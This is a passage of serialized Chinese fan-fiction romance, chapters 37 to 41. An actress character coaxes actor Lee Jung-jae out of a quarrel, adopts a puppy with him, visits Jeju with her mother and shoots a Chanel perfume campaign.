“欧巴，还在生气吗？”她附在他的耳边，嘴角勾勒出甜蜜的弧度。 馥郁又甜腻的玫瑰香味中夹杂着一丝西柚的清爽，恍若让人置身于仲夏夜繁星下的玫瑰园。银色的光辉给花瓣镀上了一层柔和的光晕，风中的味道让人宁静又沉醉。 李正宰竭力地用自己的理智去对抗身体对她的妥协，用尽全身的自制力把她的手臂拉下去。只是鬓间的薄汗，出卖了他的内心。 “有什么话好好说， 不然传出你被我给赶出待机室的流言，那多难听！“他稍稍变化，姿势，顺势腿往自己身边回撤了一些，拉开自己和那具柔软身体的距离。 “欧巴是真的好狠的心啊！”宋玉妍怎么看不出身边人的口是心非？她昂起头，把柔软的下巴搁置在他的肩膀上，像是一只没有骨头的猫咪。 “是吗？我看你玩的很开心，我狠不狠心好像都无所谓了。”李正宰起身拿起一本杂志，搁在腿上假装仔细地端详着。用不着痕迹的动作，把肩膀从她头上抽出。 老男人就是难哄！她遮住眼底的不耐，垂着眼眸。但想到他之前和她说过，可能要和全知贤合作一部电影，面上又一片乖巧甜腻的笑容。 宋玉妍重新靠在他的胸膛，环抱他精瘦有力的腰身。力道轻轻的，像是一片羽毛落在李正宰身上。 这一次他没有推开，也没有给出反应。 “欧巴，我都因为想你主动来待机室找你来，你居然还这么冷漠？”她的语气如嗔似嗲。刻意的甜腻让自己都有些受不了。 “确定是因为想念，而不是不想和剧组一起挤小的待机室？”李正宰用淡淡的语气戳穿了她隐秘的心思。 “呀，就算是这样，那还是因为想你呀。”不然那么多演员的待机室都不蹭，就蹭他的？ 宋玉妍理直气壮地想着，然后又像猫咪一样贴在他的胸膛，蹭了蹭结实的胸肌。 他略微低头，用手掌固定住她作乱的头，柔软滑腻的触感很好，手指忍不住顺了顺她光滑的卷发。 今天她身上除了黑白两色就没有其他的颜色。裙子浓烈而极致的黑色，把肌肤衬得更加瓷白透亮。伏着身体轻轻抬头往上看的时候，更加显得我见犹怜。 “李正宰xi，你不能这么贪心。”察觉到他态度开始软化，宋玉妍继续得存进尺，用白嫩的脸颊肉亲昵地蹭着对方的手心。 声音闷闷道：“你都已经在忠武路站稳脚跟了，事业也永远是你的第一顺位。我除了和人炒cp，这样来获得曝光度，其他的别无选择，很多事情都只能听从公司的安排。” 她在心底再次向老板道歉，只能让他又背锅了。坐在沙发上的人知道她在胡说八道，但也只是静静地看着她，看她还能说出什么离谱的话语。 看到对方还是无动于衷，宋玉妍咬咬牙起身，把放在门口的油画拿在手上，然后递给李正宰。 “我们初遇时候的那场初雪是人生中见过最美的雪景，当记忆模糊、年华老去后，最美的时光依旧被我的笔触所记录。”示意他自己拆开，手指点在浅蓝色的蝴蝶结。 李正宰只在心中叹息一声，在让她进入待机室的那一刻，他就输了。在这场名为冷战的对抗中，看似低头的是宋玉妍，实则溃败地一败涂地的人是他。 心底有些堵闷苦涩，但是看到她亮晶晶闪着碎光的眼眸，还是忍不住泛起一丝甜意。很少，但足以盖过之前的苦涩。 他用修长又粗糙的手，把系着的系带解开，脸上看不清喜怒。姜黄色封纸被撕开。 画的全貌露了出来。 东国大学的冬日景色被描绘地淋漓尽致，细雪附在钢铁浇筑的楼屋上。明明是看起来凄凉的蓝灰色主调，他却觉得透着一份和煦的温暖。 “欧巴！不生气了吧！”宋玉妍坐在他的身边，娇憨地摇了摇他的手臂。勾勒着上扬眼线的眼睛里满是骄傲的势在必得。 他还是无动于衷，脸上的神色僵硬。 这些惹恼了宋玉妍，只觉得他给了台阶居然还不知道自己下来，脸瞬间就冷了下来。松开他的手臂，抱着胸坐在沙发的另一端。 “嗯。”不生气了，他的声音还是听不清喜怒。最后却还是暗退了一步，“没有下次了。” 宋玉妍当然知道他指的是什么，连忙点头保证道：“不会再有下一次了，以后只和你传绯闻！”就差指天发誓了。然后又倚着他，甜言蜜语像是不要钱一样从嘴里冒出来。 李正宰只觉得自己像是喝了两斤葡萄柚汁一般，情绪如同味蕾一般酸中泛着微甜。心脏也像是泡在果汁中，汁水顺着血管流淌在身体的每一处。 “那等我这部戏拍完，我们一起去北海道泡温泉吧！”正好是秋天，她在心里盘算着李正宰到时候应该也结束了《观相》的宣传行程。 到时候刷他的卡，给定一个高端的度假酒店，最好离雪山公园近一点。 “好。”李正宰竭力地抑制住因为喜悦到有些发晕的身体，手指都不自禁地僵住了。只是从溢出的语气中还是显露出一二。 “颁奖礼要开始了，你先走吧。”他继续翻着腿上那本《花花公子》，封面上身材火辣的女郎也不能分走他的注意。 他的注意力随着纤细身影的离去而放空了。 在门口的权相俊看到自己艺人着魂不守舍的模样，忍不住摇摇头。李正宰简直被宋玉妍吃得死死的，放在手心捏搓圆扁。 庆熙大学的礼堂里星光璀璨，今天南韩娱乐圈三分之二的明星都汇聚于此。但其中最夺目的依然是在后排角落中的宋玉妍。 明明《主君的太阳》剧组并不算是主角，但是每次导播把画面切到宋玉妍的脸上，还未开始颁奖就迎来收视小高峰。 刚开始她还会对着摄像头招手、打招呼，后面次数实在太频繁。她干脆就不去管摄像头，自顾自地和身旁的徐仁果聊天。 今天的奖项对于他们来说颗粒无收，因为首播时间离百想太近的原因，导致他们是最后一个被公布入围电视剧奖项的剧组。 SBS选择把宝都压在《那年冬天风在吹上》，结果也只收入一个最具人气的女演员奖项。 如果知道今天是这样来陪跑的情况，剧组肯定不会把主创都聚集过来，随便叫几个主演过来，让主办方面子上好看一点就行了。 走出会场时，陈赫导演脸都是黑的，洪作家脸色也很难看。没有人有心情提出喝一杯的想法，大家就各自回去。 剧组唯一的赢家应该算得上是宋玉妍了。先是红毯和徐仁果携手上了一波世趋，被认定为最强cp售后。 更加让人欣喜的是，香奈儿官网转发认证了她的look。「以演员姿态，品百味人生。宋玉妍携手香奈儿与你一起，走进coco小姐的优雅世界。」 第38章 第三十八章 香奈儿对于南韩市场一直很高冷，连成衣线都基本上不借给艺人。这是因为品牌更看中艺人风格和其调性符不符合。 对于他们来说，讨好高端的vic客户会比找明星代言，把品牌推向大众更重要。 宋玉妍在百想大赏红毯上的摇曳生姿，把普通的成衣穿出了高定的质感。 「真的很少看到有人在红毯上把黑色穿的如此好看了！」 「香奈儿的官方不是一向很高冷吗？这次怎么认领的这么快？百想红毯结束才不到一个小时吧！」 「可能觉得宋玉妍这套的look真的很好看吧，完美诠释了品牌风格。」 「大发！完全是为国争光级别的美貌呢！」 …… 裴永俊看到网络上的反馈后，只觉得那笔置装费没有白花。香奈儿在还没有确认宋玉妍为品牌大使的情况下，就发出了2014春夏时装秀看秀邀请函。 他在心里感叹，果然时尚的表现力和完成度主要看脸。漂亮的孩子连高冷的品牌都会忍不住垂青。 从春末吹过夏日燥意的风，时间从宽大的指缝中一掠而过。两个多月一晃而过，《继承者们》也陪伴了南韩观众整个暑期，最后的收官之时，收视率达到了22%。 走在路上，她总会听到有人 在谈论剧里的经典台词。 其中那句“从我爸爸的爸爸的爸爸那一辈开始，就没有一刻是没有钱的。”听到的最多。 大量的商务蜂拥而至，而老板终于也受不了她。说到做到，把她发配到全罗道去担任韩牛推广大使。她看着品牌方大方赠送的新鲜、香气十足的牛雪花肉，对于这一份工作还是满意的。 从全罗道的牧场回来，她打电话给李正宰：“我这里有很多新鲜的牛肉，你要不要拿一些去吃？” 他难得收到宋玉妍主动打来的电话，更何况是这种主动给他分享高级食材。心下一片感动，对方心里到底还是有他的，不然怎么会想起自己来？ “当然可以！我晚上来你家楼下等你？” 宋玉妍答应了之后，把电话挂断。依次拨通了裴永俊、徐仁果、金秀闲、郑宇盛……的电话，干脆让老板都带过去，其他人去公司拿。没有办法，品牌方太客气，她家的冰箱又太小，放不下。 这么贵的牛肉当然是趁着新鲜的时候，赶紧吃掉！ 傍晚时分，金色的夕阳散发着一股温暖的光辉，空气中漂浮的悬浮粒子也显得格外和煦。在暮色将金乌彻底吞噬之前，柔和的光晕像是自然对视觉的垂青。 李正宰倚着沉稳低调的黑色梅赛德斯，望着这栋老旧破败的考试院，心情依然不错。在在他看来，宋玉妍主动邀约旅行，基本上就是松口重新确定关系。 等对方电话一来，他立刻接起。在看到来人的那一刻，招了招手，唇边勾起愉悦的弧度，看起来很有清爽的少年气。 她把包装精美的韩牛礼盒递了过去，“李正宰xi，久等了吧！” 盛夏的晚风撩起她层层叠叠的烟蓝色裙摆，像是一朵盛放的花苞。轻盈的质地让她看起来更加柔软美好。 “阿尼！”李正宰轻轻挪了挪有些僵硬到发麻的脚腕，“我也才到没有多久。”他接过盒子，小心翼翼地放在副驾驶上，用安全带固定好。 然后绕到车的后备箱，一个又一个变魔术一样掏出二十几个橙色的盒子。“我不知道你喜欢什么，干脆就都让柜姐都配了一点。除了成衣，他们家的成衣不太好看。” 看着爱马仕的盒子堆在布满灰尘的路上，她的眼底闪过一丝惊喜。大大小小的礼盒按照体积排列，让这坑坑洼洼的街道都看上去贵气了不少。 “欧巴，你真是太好了！”只是她现在还在香奈儿的考察期，这样明目张胆地用竞品有点不太好。 李正宰看着她娇艳的脸蛋露出玫瑰花一样的笑容，忽然就觉得刷出去的大笔支出都不算什么了。他晕晕乎乎地帮对方把礼盒都搬到家门口。 宋玉妍开心地扑到他的怀里，然后在他有些粗糙的脸颊上左右各亲了一口。没有人能面对这一堆奢侈品会不心动。 他久违地感受到自己耳根处的高温，面上不显只是眉峰拧得更紧了。嘴唇翕动，只感受到对方携带着好闻的荔枝玫瑰味顺着温热的气息喷撒在肌肤上。 忽然觉得，为了她甜软的笑容，自己也应该更加努力拍戏。毕竟世宗大王不一定能买到宋玉妍的笑容，但是一定能买到让她能绽放出笑容的物品。 临走前，李正宰心情有些紧张地问道：“我们到时候去宠物院挑一只约克夏一起养怎么样？”他很怕被宋玉妍拒绝，之前她点评阿柴蠢、西高地丑的样子还历历在目！ “那你会负责打理它吗？你知道我很忙，我家也很小。”她状似苦恼地咬咬温软的粉唇。 “当然，你只要当它偶妈就好了！” 听到这里，宋玉妍立刻迫不及待地答应了下来，“欧巴！那当然没有问题！”她眼里的碎光此刻都盛满了眼前人的倒影，甜蜜的语气、浓烈的爱意好像满到身体装不下，仿佛眼前人是她此生挚爱。 李正宰只知道对方答应了和他有一份羁绊。这样两人关系如果再出现裂痕的话，双方都会思虑良久。以宋玉妍的性格，就算是为了小动物，也不会再轻易地和他分开。 因为她对小生命很有责任感，用责任去绑架她，虽然卑鄙，但是有用。 回到自己家后，他架起室内烤炉，准备好自己珍藏的50年云顶威士忌，打算和郑宇盛好好喝一杯。 这既是分享，也是炫耀。 在听到是吃韩牛时，对方毫不犹豫地过来了，手里也拎着精美的礼盒。李正宰一时间没有注意看，只以为是打包好的佐酒小菜。 等他把盒子放在桌上，他定睛一看，和他下午拿到的包装一模一样，就连丝带、logo都是完全一致。昏暗的灯光下是他阴郁的脸色，烦躁地把衬衫上方两颗扣子解开，有种想要把自己珍藏的好酒给撤下去的冲动。 郑宇盛看到相同的包装后，脸上也闪过一抹不易察觉的尴尬。他想着把新鲜的牛肉赶紧烤了吃掉，不要辜负宋玉妍的一片心意。 但没有想到，亲故两人想一块去了。 当看到他的韩牛礼盒中，肉都只是肋条部分的，李正宰心中才稍稍平衡了一点。在她心里，自己到底是不一样的，不然怎么他拿到的肉价值最高呢？ 他挽起袖口，先是在烤架上刷上了一层油，然后先把郑宇盛带来的礼盒拆开。等油温足够高了之后，先把肋条部分的肉放了上去。 “虽然是韩牛，但是我最讨厌的就是肋条部分的肉，油脂少，吃起来不香。”他皮笑肉不笑地把烤熟的肉都放到兄弟碗里，然后意有所指地拉踩着。 就算郑宇盛的脾气再好，面对自家亲故无端地阴阳怪气，也是有点恼火。“肋条肉只要火候掌握的好，口感是最嫩的，我就很喜欢。” 看着李正宰用夹子粗暴地在烤架上给肉翻面，他有些看不下去了，用不容置喙的动作夺过工具。 “我来吧，你不知道我想吃的熟度。”面上的笑容是一如既往的温润，但是带着一丝强势。 看烤肉的活被抢，李正宰给他到了一杯酒，这样的好酒当然是要纯饮，加水或者加冰块都有点暴殄天物。 他换了一个话题，“我和宋玉妍准备一起养一只约克夏，现在有点在烦恼取名，你说取什么名字好？” 听到这样的话，原本在专心吃牛肉的人动作一顿。不知道为什么听到对方说要一起养一只宠物，心底被一阵阵酸涩包裹。 但还是把“饭团！”这词脱口而出。 “就叫饭团吧！宋玉妍xi也喜欢这个食物。”郑宇盛不知道为什么，想到宠物这个词就一直萦绕在他的脑海。 李正宰偏偏不想让他如愿，更何况她还给那个讨厌的臭小子做过饭团，这个词就更加让他不喜。 亲故对她的在意，也让他不爽，脸上直接挂起假笑。“我和她准备秋天去北海道看枫叶，日本的寿司很有名，我看还是叫寿司吧！” 寿司，也好！ 两人这顿饭吃的都有点食不觉味，明明是优质的牛肉和稀有的酒，偏偏谁都没有细细品尝的意思。 滑嫩的牛肉是大口大口地往嘴里塞，云顶是一杯接着一杯地倒。 浓烈的单一麦芽的酒香在空气和味蕾中挥发，但两人居然都没有干杯，只是像在斗气一般喝着失意酒。 —— 另一边的宋玉妍正盘腿坐在地上，一个个拆李正宰送的礼物。 虽然都是配货，但足以看得出对方的用心，从一整套爱马仕的香水到手表、手镯、项链，再到平时装饰用的丝巾……都是平常能用得上的。 她打开一瓶香水，朝空气里摁了两下喷头，屋内瞬间满是金钱的味道。 最大的两个橙色盒子里面放的是大象灰birkin25、和黑金配色的kelly2代。 看了一眼她就扔到角落里去了，只挑了一支手表和项链。宋玉妍就对系统说：「剩下的你帮我挂网上吧！卖的钱捐给女性家族部①下面的平权组织好了！」 「 宿主，你好善良啊！」 她勾着唇浅浅一笑，「那当然了。」 其实是因为不太喜欢这种沉闷的颜色，她更喜欢鲜活有生命力的颜色。 拆礼物是大脑分泌的多巴胺已经给足了宋玉妍情绪价值。一开心就打电话和李正宰说：“欧巴，我们一起去济州岛摘橘子吧！和wuli偶妈一起。” 第39章 第三十九章 《继承者们》剧组终于把片酬尾款打到公司账户上了，一共8亿韩元，宋玉妍到手能有2.4亿。 怪不得爱豆都想转型成为演员，就光是收入这一项的差别就巨大。一线女团一场校庆的报价大概在3000万韩元左右，除去公司分成，最后落到每个成员手里少的可怜。 拿到报酬的宋玉妍心情一直不错，就连公司安排的商务活动，都是来者不拒。短短两个星期就参加了九个站台活动、两个杂志内页拍摄。 就在拍摄韩版《芭莎》内页的间隙，宋玉妍又接到了老板的电话，她有些犹豫，但最后到底还是上滑接通了。 “代表nim，我真的累了！这两周的商务比我过去一年的都多。”虽然是玩笑话，但是莫名地透露出一股心酸。 “就算是全罗道的牛，你也得让它吃点草料休息一会吧！”宋玉妍靠在化妆椅上抱怨道。 裴永俊有些无语凝噎，“你下部戏都还没有着落，总不能真的天天在家，没有曝光吧！” 不知道自家艺人到底有什么样的好运，香奈儿居然指定她为香水线的品牌大使。为将要新推出的邂逅柔情淡香水拍摄广告。 “港岛的那群富婆看到你的百想红毯，拿着你的那套look去问柜姐是那套高定。能够吸引高定客人为你身上的衣服花钱，品牌自然也愿意给你机会。” 他把前因后果给解释了一遍，种花比南韩更加追捧这类明艳大气的类型。 “红毯表现力太好就是会有这种烦恼。”宋玉妍愉悦地转了转椅子，状似为难地说道：“这下我的经纪人怕是要忙死，连露营都不能一起去了。” 听到自家艺人的这番话，裴永俊整个人都无语极了。但是不得不说这次能空降香奈儿代言，公司没有出力，要是公司有能力撕下这份时尚资源，南韩也不至于是时尚洼地了。 “代表nim，《来自星星的你》还在死磕全知贤吗？”这都十月初了，都磨了两个多月。 宋玉妍有些咬牙切齿，忠武路的头部女演员接电视剧资源，对其他女艺人来说就是降维打击。 想到这里，他忽然有点心虚，公司已经帮金秀闲拿下男主了，对于宋玉妍的需求自然没有那么上心。 “SBS高层还是觉得全知贤时隔多年再次出演水木剧，更加有讨论度。” “哪怕我拿下了南韩独一份的香奈儿代言也不行吗？”宋玉妍捏紧手机，指尖微微泛白。她以为是咖位的原因，如果给她一个面试的机会，她自认会比任何人都做的更好。 对面沉默了良久。 “宋玉妍xi，米亚内！这次公司却是做得不太好。股东们都觉得让金秀闲拿下男主，比花费资源在你身上，去争取女主的回报率要高。” 裴永俊到底还是说了实话，虽然他是第一股东，但是股份占比也才三十多。更何况，他是个商人，商人追求的到底还是赚钱。 “我知道了！” 电话挂了之后，也早就印证了她的猜想。蛋糕就这么大，不可能全让keyeast吃掉。金秀闲拿到男主她拿女主的几率就不会太大，其他公司不会坐视不理。 心烦意乱的人倒是很完美地完成了今日的硬照。 晚上和李正宰一起去宠物院挑了一只黄银相间3个月大的约克夏。看到它在笼子里歪着小脑袋好奇地看着他们两个时，宋玉妍被可爱到了。 等店员做好检查，把小狗塞到她怀里，此刻一个坚定的猫党叛变了。摸了摸柔软又细长的背毛，旁边的李正宰也伸出手来，梳了梳小狗的毛。 约克夏体型很小，幼年期就更加小了。两人的手碰到一起，微微停顿了一会，他半握着那双柔软的手，带着一起给小狗顺毛。 宋玉妍的眼睛里满是它，而他的眼睛里则满是她。 店员还在喋喋不休地说养狗的注意事项，“幼犬现在主要是喂一些奶糕和幼犬粮，你们注意给它少食多餐，喂之前把狗粮泡软，一天不要超过45克……” 她感受到手上手下的温度，难得能感受到心跳如雷。垂下眼眸，睫毛的投下的倒影像是半只蝴蝶的翅膀，停留在眼下。 “幼犬可以吃水果吗？”她问店员。 女性店员顿了一下，这个注意事项她之前就说过，但还是专业素养很好地重新解释了一遍。“可以喂一点点，不能喂太多，等小狗到一岁的时候，就可以多喂一些了。” 李正宰看到她这么喜欢这只小狗，像是温暖的春风抚过心头，带来一片温软。人慵懒地往柜台后一靠，把卡交给店员，“买单。” 看着他特意凹出一个造型，单手插兜，显得被灰色西装裤包裹的腿更长。宋玉妍又是无奈又是好笑，这个刻意到不经意的姿势都可以直接去拍杂志封面了。 抱着软乎乎的小狗走出店门，宋玉妍说道：“我们去给狗狗买点水果吧，你说他是喜欢西瓜还是喜欢草莓？” “干脆都买！”李正宰顺势帮她把副驾驶的车门打开，手抵着顶部，让她进去。 她先是把小狗放在底座上，然后侧身坐到沙发座椅上，然后把它捞到自己的腿上。听到他说这话，当即给对方竖了个大拇指。 等他坐上驾驶位置，在看到身旁人不太好系安全带后，手从她的头顶到侧腰处，小心地避开了腿上那一团。 “你说它叫什么名字比较好？” 宋玉妍把“饭”的这个音节已经脱口而出了，但想到每个小狗，都是独一无二的小狗。连忙把嘴里的“团”给咽了下去。 听到那个音节，他脸色一下就沉了下来。后视镜里李正宰的的眉心拧的很深，隐隐透着几分烦躁，紧抿的嘴唇是一片冷然的弧度。 她和郑宇盛之间的关系远比他以为的要亲密，居然连宠物的名字都想到一块去？ 观察到他眼底晦暗不明的情绪，宋玉妍连忙把狗狗举起来，它用粉舌头舔了舔李正宰的侧脸。这一亲人的举动让他的面部放松下来，脸上的线条都柔和了许多。 “你付的钱，那当然是你来取名！” “我们准备去日本，要不就叫它寿司吧！”他转着方向盘，状似毫不在意地提议道。如果宋玉妍坚持要让小狗叫饭团，都不知道该如何抑制住内心暴戾的情绪。 “当然可以，寿司一听就很迷你、很可爱。那说好，以后要是吵架不能当着寿司的面吵！”她干脆说出自己的要求。 小狗才不知道人类吵架的原因，它会害怕是自己哪里没有做好！ 等李正宰和宋玉妍一起逛完超市，买了一些水果之后。他开车回到自家的地下车库，发现这么多东西一个人拎不动，当机立断地打电话给怨种兄弟，让他下来帮忙拿。 等郑宇盛下来帮忙之后，他一只手抱着寿司，一只手提着它的狗窝。后面的人两只手上全是小狗零零碎碎的东西。 “你们玩具、衣服买这么多就算了，你要吃的水果下次买不就行了？”郑宇盛左手上的榴莲和西瓜都快15kg了。 “那不是我吃的，宋玉妍花钱买给寿司的。”想到她还特意叮嘱自己不许吃，每天给狗喂一点，他心底就不舒服。 宋玉妍对狗都比对他好！ 过了寒露节气之后，秋雨来的一场比一场急，夏日的暑气被洗涤一空。 秋日带着季节特有的忧郁，无论是雨还没有落下就可以闻到的土腥味，还是下雨时趴在窗边，静静看雨落，都是独特的解压自我疗愈的方式。 挑了一个难得的晴天，宋玉妍把 在大邱的偶妈接到首尔，然后再一起出发去济州岛游玩。 在飞机上，姜真希看着他们两个，扭过头对着自家女儿打趣道：“之前还说是同事，那有看起来关系那么亲密的同事？” 宋玉妍和李正宰都有点尴尬，面对坐在窗户边的长辈罕见地都开始手足无措了。 “伯母，你吃点水果吧！”他让空乘把切好的果盘给端了，宋玉妍看着身侧被关在笼子里的寿司，有些害怕它会应激。 “我比你才大8岁，也没有大很多，你应该叫怒那才对！”姜真希知道他是女儿的男朋友，但还是心情会有些复杂，难道爱上年纪偏大的男性，是他们家女人的宿命吗？ “伯母，我……”他十分堂皇，想要起身鞠躬，但被前面的小桌板挡住。 她不忍心看到李正宰被自家偶妈为难，连忙和他换了个位置。“刚刚工作人员拿了一小包宠物专用肉条，你来喂寿司吧！” 趁着飞机还没有起飞，他忙不迭地起身，两人位置置换了。在心底舒了一口气，宋玉妍不但继承了她母亲精致的五官，就连性格都是如出一辙的难以应付。 “真好！”姜真希把毛毯盖在腿上，侧着头小声对女儿说，“看到你们，我忽然想你的偶爸了。”她撇过头去不着痕迹地擦拭着眼角的碎泪。 “我和他年龄差距也很大，当时家里人都反对，但是他作为警察放过了上街游行的我们。那个时候我就知道他是个心底柔软的好人！” 宋玉妍不知道该如何安慰，在记忆里五岁就失去了父亲，对于那个身影很是模糊。但偶妈却因为那短短的六年多时间，被困住了一生。 另一侧的李正宰支起耳朵认真听着，在看到两人之间的情绪不太对时，连忙把寿司递了过去。“它好像想你了，你要不喂喂它？” “李正宰xi！你赶快把它重新放到笼子里去！不要让它打扰到别人！”她看着对方把寿司从笼子里抱出来，有些认真地说道。 “你总不能抱着它坐飞机吧！” 第40章 第四十章 一下飞机，济州岛的空气中满是橘子的味道，仿佛误入了一个橘子主题的童话世界。 路边随处可见的橘子伴手礼，从香膏、果汁、冰淇淋到麻薯，都离不开这里的主角。 李正宰早就找好了包车，他不太好意思和宋玉妍一起坐，反而和司机坐在前排。后面则是只有她和姜真希，腿上是乖巧可爱的寿司。 来到一个陌生的地方，四个月大的寿司也好奇地直立起身体。用它小小的身体往窗边扒拉，好奇地对着空气里从未闻过的味道浅吠了两声。 姜真希被它憨态可掬的动作逗笑了，手指在它湿润的鼻子上点了点。精神头看起来好了很多。她也是第一次来济州岛，平常都是在SBS的水木剧里看到这里的景色。 “这边有什么特色餐厅吗？”李正宰把墨镜架在鼻梁上，问着驾驶位上的司机兼地陪。 “我们这边秋季最有名的就是橘子，但是你们明天的行程里面有去柑橘园摘橘子。今天可以去海边浴场走走逛逛，那边有一家海鲜炒码面很不错，就是不知道你们吃不吃的惯。” 司机有些搪塞，这行人一看平常就是吃惯了法餐、只喝红酒的那种，当地特色的小吃他们不一定能接受。 “但是我年轻的时候在首尔那么久，找不到一家炒码面里的海鲜能比我们济州岛分量还要足的了。” “去吃吧，就去这一家，西餐偶妈吃不惯！”宋玉妍从后座上探出头，在李正宰的耳边商量着。 “好！” 到了司机说的那家店，宋玉妍和母亲合点一份海鲜炒码面，李正宰自己吃一份。 在姨母还没有把点好的菜品上上来，他在旁边把寿司的饭盆拿出来，倒入10克狗粮，然后找店家借热水，冲泡好一点羊奶粉。 等泡好的羊奶放凉一点后，倒入饭盆里。姜真希就和自己的女儿一起含笑看着他忙前忙后，半点没有插手的意思。只是在心底默默地把他的评分打高了一些，看起来是很顾家、很有责任感的性格。 面一上来，坐了一路车，有些饥肠辘辘的人就直接开动了。 爽滑的面条裹满了特有的海鲜酱汁，q弹的鱿鱼须和鲜嫩的虾肉，顺着食道下去，带给肠胃无与伦比的温柔抚慰。在临海的地方吃海鲜和吃冰冻运输而来海鲜是完全不一样的鲜美。 阳光在柑橘上转动着，从覆盖三分之二到完全消失再到重新覆盖。 第二天一进柑橘园，寿司就自己甩掉了狗绳，泥土上留下它肆意撒欢的脚印，在大大小小柑橘树中穿梭着。 李正宰含笑看着宋玉妍，只是觉得这是自己梦中的生活。温和的金色阳光扩散在橘树枝头间。 他没有先去动老板之前拿过来的篮子，里面放着摘橘子的工具，一双棉布手套和一把剪刀。而是徒手摘下一个橙黄橙黄的看起来已经熟透了、圆润饱满的橘子。 他先用湿巾把自己手上和果子上的灰尘擦拭干净，然后慢慢剥开，丰沛的汁水流了满手，酸甜的香气一时间迸发。 果肉上附着的白丝被他细心取下，最后这个橘子，一半给了宋玉妍，一半给了姜真希。 看到他没有顾上自己，宋玉妍从一半中掰出一瓣放到他的嘴里，下一瓣才放到自己嘴里。 “橘子好甜啊！” “是啊！橘子很甜。”李正宰狭长的眼尾上满是勾着的温柔，济州岛的海风太甜了，宋玉妍喂的橘子也是。 在偶妈面前，她还是会有些害羞的，注意到姜真希打趣的眼神后，她嗔怪地瞪了他一眼。但等李正宰帮她把手套套上，又没有拒绝。 姜真希不掺和到年轻人的生活中，提着篮子慢慢悠悠地在柑橘园里散步，看到喜欢的橘子就用剪刀把它带下来。 海岛是和工业城市大邱完全不一样的风格，就连阳光都要和煦许多。 宋玉妍看到寿司在咬着一个长的比它还矮的果子时，就忍不住发笑。 明明那个橘子长的没有比它脑袋小多少，寿司还很固执地要把它拽下来。 她坏心眼地逼近，拿着剪刀迅速地把橘子梗剪掉。寿司猝不及防地就反作用力掀倒在地，站起来抖了抖身上的泥土，然后站起来不知所措的地看着宋玉妍，歪了歪头。 李正宰好笑地看着她逗寿司，把滚落在地的橘子捡了起来。看着表皮上两个浅浅的犬牙印忍不住笑出声，把小狗捞起来，用湿巾把它身上的灰尘浅浅擦了擦。 “怎么办啊！wuli寿司就是pabo啊！！笨蛋小狗！”一边说他还一边把狗狗举到头上。 现在氛围很好，小狗、阳光、柑橘、海风、组在一起形成累了一副完美的画卷，画家穷其笔墨也无法把这种平和温暖的感觉定格。 “欧巴，你之前说是要和全知贤xi合作一部电影？是什么题材？”宋玉妍摸了摸寿司的耳朵，好像随口一提一样。 “日据时代下的故事，到时候估计还要去种花取景，剧本是《暗杀》。我还没有完全答应，感觉冲奖的可能性不大。” “那到时候我能看看吗？” “当然可以！等回别墅之后，我把电子版的发你一份。”李正宰以为她是对自己明年的安排好奇，心中泛起甜意，两人的工作时间要是同步的话，就能又更多时间待在一起。 柑橘采摘结束，宋玉妍的篮子里都是圆润又漂亮的橘子，姜真希篮子里的都是小但是橙黄橙黄熟透了的橘子。只有李正宰的篮子里都是又小又丑的橘子，最顶上的是被寿司浅嗑了一口的小狗果。 宋玉妍的脚步顺着日落的方向走，看着他把迷你的寿司放在篮子里一起拎着，忍不住开始捧腹大笑。 不知道是在笑李正宰让饭团在篮子里“监守自盗”，还是在笑它在不大的篮子 里钻来钻去的姿态有些滑稽。 —— 回到首尔的宋玉妍，打定主意不接其他的商务。每天就是去公司和正常的上班族一样，按时打卡上下班。 她这样不为别的，就是想要一个试镜的机会。 就这样过去了一个星期，裴永俊实在是被她烦透了，敷衍道：“你赶快先去把香奈儿的香水推广给拍了，《来自星星的你》只要全知贤给拒了，公司就推荐你上。” 等到这句话宋玉妍就放心了，当下也不和老板纠缠，起来拿起手包。转身含笑对他说道：“这可是你说的哦！” 她一定要想办法，把全知贤出演的可能性给搅和了！ 香奈儿的广告大片她还没有资格出镜，虽说邂逅系列没有5号香水那种举重若轻的地位。但在全球推广上还是倾向于寻找白人明星、模特。 当她到了摄影棚时，听到有人在争论。“这样的香水文案是不是太过直白和对立了？这在南韩市场上很可能会起反作用！” 策划总监看着这位为品牌工作了十多年的御用摄影师，有些无奈道：“今年其他的奢牌也推出了香氛线，dior的花漾甜心、ysl的反转巴黎，宝格丽的白晶。适用的场景都差不多，基本上都是约会。这样大的竞争压力下，我们怎么完成总部下达的KPI？” 市场就那么大，分蛋糕的多了，分到手的就会变少。 而两人在拍摄风格上产生了分歧。前者还是想维持香奈儿惯有的调性，优雅、独一无二的经典，中规中矩地完成画报拍摄就好。 策划今年更想打破常规，切割完整的香水瓶让模特拿到手中。 宋玉妍不动声色地凑近看了一下纸质流程，文案赫然在上。「等你再见我的时候，我会变得成熟稳重、极尽温柔，你想要的样子我都有，眼中再无你。」 一看到这个文案，她就爱上了，甚至觉得十分贴合自己这一年来的心境。 她踩着慢慢走进，“或许，女生买香水更多是为了取悦自己而不是在约会时施展魅力？” 摄影师看了来人，这是今天的模特，面上有些不屑。模特只是他们完成创作的一环，她能懂什么时尚？什么是艺术？ 倒是策划总监听到这样的解释，眼前一亮。“你这种说法倒是很新颖。”用鼓励的眼神，让她继续说下去。 “今年所有的奢牌广告语都在说爱情，但是coco香奈儿女士本来就是一个离经叛道、特立独行的创作者。可能她更想品牌的簇拥者能勇敢做自己吧！”宋玉妍抱着胸，淡淡地阐述自己的想法，新的文案也更符合她的性格。 “那就按这版拍！”最后还是拍板下来。梦幻的粉色和自主的内核说不定能产生奇妙的化学反应！ 拍摄的look完美复制了她在百想时的妆造，就是口红色号换成了复古大红色、头发变成了盘发、耳饰是香奈儿夸张的双c吊坠。 走进摄影棚，宋玉妍拿起被切割好的香水瓶，脸上满是优雅但是并不妩媚的笑容。单调的摄影棚里因为她独特的气质而自成一方领域。 原本对她带有偏见的摄影师，此时都放下成见，开始掌镜对准她拍。“拿一个完好的香水给她试试看！” 回看刚刚的成片，他一个眼神宋玉妍就知道要换成什么pose，不禁在心里感叹要是每一个合作者都能有这样的配合能力该多好。 另一侧的策划总监看着她的表现能力，忍不住扼腕，怎么偏偏就是南韩这个总部毫不在意的市场？ 宋玉妍身上没有南韩明星的讨好感，硬照上散发出清冷疏离的气质和香奈儿的品牌理念很适合。 可惜，南韩市场太小！魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第四十一章 粉邂逅香水一经发布，就在南韩掀起了一股粉色风暴，南韩十个女生有八个喷的都是这款香水。 江南区论岘洞最大的电子屏、新沙洞的商店、狎鸥亭的现代百货商场、清潭洞的名品街都纷纷换上了宋玉妍的海报。 